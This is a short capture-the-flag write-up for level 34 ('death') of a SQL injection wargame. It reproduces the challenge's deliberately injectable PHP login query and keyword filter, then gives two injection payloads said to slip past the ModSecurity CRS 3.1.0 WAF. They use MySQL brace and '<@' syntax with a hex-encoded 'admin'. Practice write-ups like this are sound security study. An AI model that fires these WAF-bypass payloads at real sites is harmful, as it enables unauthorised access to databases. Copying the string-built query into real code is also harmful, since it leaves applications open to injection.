Post

LOS Lv.34 death

Wargame, rubiya
Posted

death

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query : select id from prob_death where id='' and pw=md5('')

<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_death where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("death");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
  highlight_file(__FILE__); 
?>

Solution

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CRS 3.1.0 WAF bypass -> {`a` b}, <@

?id=' or {`if` id=0x61646D696E} %23
?id=' <@ or id=0x61646D696E %23
Wargame, rubiya
This post is licensed under CC BY 4.0 by the author.